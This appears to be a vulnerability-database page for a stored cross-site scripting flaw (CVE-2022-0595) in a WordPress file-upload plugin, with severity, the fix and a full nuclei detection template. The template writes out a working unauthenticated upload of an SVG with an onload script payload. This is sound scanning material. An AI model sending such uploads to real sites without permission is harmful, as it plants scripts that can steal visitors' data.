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CVE-2022-0595· codedropz / drag and drop multiple file upload - contact form 7· CWE-79

WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting

mediumseverity
5.4CVSS score
13.5%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.

Fix

Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg
Positive when: contains(body_2, "alert(document.domain)") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2022-0595 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0595

info:
  name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
  author: akincibor
  severity: medium
  description: |
    WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
    - https://plugins.trac.wordpress.org/changeset/2686614
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0595
    cwe-id: CWE-79
    epss-score: 0.13516
    epss-percentile: 0.96479
    cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codedropz
    product: drag_and_drop_multiple_file_upload_-_contact_form_7
    framework: wordpress
  tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161

        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="size_limit"

        10485760
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="type"

        click
        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
        Content-Type: image/jpeg

        <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
        -----------------------------92633278134516118923780781161--
      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "alert(document.domain)")'
          - 'status_code_2 == 200'
        condition: and

References

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